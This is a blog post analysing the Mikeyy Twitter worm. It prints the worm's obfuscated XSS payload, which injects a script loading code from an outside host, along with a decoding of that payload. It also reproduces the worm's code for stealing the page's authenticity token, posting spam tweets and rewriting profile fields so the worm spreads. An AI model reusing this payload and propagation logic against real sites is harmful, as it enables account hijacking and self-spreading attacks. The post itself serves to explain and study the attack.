A Code Study of the Mikeyy Twitter Worm

I am an active twitter user - and when I saw that many twitter profiles have been affected by the Mikeyy worm, I wanted to take a look at the code behind the worm. This post will help you understand the basic working of the worm.

First thing to do was to get the worm's code. To make sure I don't get infected myself, I disabled JavaScript using the Web Developer extension. Now I have to visit a twitter profile that is infected. I went to the public time line and got one.

The first thing you notice is that the profile name has been changed - to this...

"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>

This name is put in the <title> tag of the page in twitter while visiting a user profile - that's when the script tags get injected into the HEAD of the document - and gets executed.

To find what the payload is, just do an alert instead of a 'document.write'...

alert(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62))

Turns out, its...

<script src="http://www.stalkdaily.com/ajax.js"></script>

Basically, the worm downloads and executes 3rd party javascript code within the context of the current document.

Time to get the JavaScript file - 'wget http://www.stalkdaily.com/ajax.js'

3 functions

To my surprise, the the code is really simple - just 3 functions - 127 lines of code. The code I got was the 4th version of the worm. You'll get the full code at the end of this post.

XHConn
Standard XMLHttpRequest function - this is used to make Ajax calls
urlencode
Basically, encodeURIComponent() with some added features.
wait
This is what does all the damage...

wait() of the worm

var content = document.documentElement.innerHTML;
authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];

First, gets the authentication token from the source code. Twitter source code has this...

twttr.form_authenticity_token = 'd56543953fd73b4fc193ec2c1ed8361097da39c3';

The regular expression gets the authentication token - this is needed to post any changes.

The worm holds 7 phrases in its payload - it will post one of these phrases as a tweet on your account if your are infected...

var randomUpdate=new Array();
randomUpdate[0]="Twitter, freaking fix this already. >:[ - Mikeyy";
randomUpdate[1]="Twitter, your community is going to be mad at you... - Mikeyy";
randomUpdate[2]="This worm is getting out of hand Twitter. - Mikeyy";
randomUpdate[3]="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/[removed]";
randomUpdate[4]="This is all Twitters fault! Don't blame Mikeyy!!";
randomUpdate[5]="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/[removed]";
randomUpdate[6]="How TO remove new Mikeyy worm! RT!!  http://bit.ly/[removed]";

It chooses one of those phrases in random - and posts it.

var randomXSS=new Array();
randomXSS[0] = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';
var genXSS = randomXSS[Math.floor(Math.random()*randomXSS.length)];

These lines had me confused for a while - it made no sense. Why make this an array - why not just a string? Then it hit me - the author intended to put the script at multiple locations - so that even if one of the site was compromised and taken down, the other locations will still be able to deliver the script. But in the end, the author just used one location.

Finally, we come to the last part of the worm - the part where the script posts all the new settings...

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]="+xss+"&user[protected]=0&commit=Save");
var ajaxConn2 = new XHConn();
ajaxConn2.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user[profile_default]=false&tab=colors&profile_theme=1&user[profile_background_color]="+urlencode('## Mikeyy')+"&user[url]=Mikeyy+++++++++++++++++++++++++++++++++++++&commit=save changes");
var ajaxConn3 = new XHConn();
ajaxConn3.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]="+xss+"&user[url]=Mikeyy+++++++++++++++++++++++++++++++++++++&user[protected]=0&commit=Save");
var ajaxConn4 = new XHConn();
ajaxConn4.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user[profile_default]=false&tab=colors&profile_theme=1&user[profile_background_color]="+urlencode('## Mikeyy')+"&user[name]="+xss+"&commit=save changes");
var ajaxConn5 = new XHConn();
ajaxConn5.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]="+xss+"&user[protected]=0&commit=Save");

Finally, twitter takes steps - it escapes the characters in the titles - that marks the death of the worm.

The Code

Four versions of the Mikeyy worm's code has been made available thanks to @supyo at GitHub...

I'm on Twitter - @binnyva

In case you are a twitter user(who isn't these days), make sure you follow me - I am @binnyva.

blog comments powered by Disqus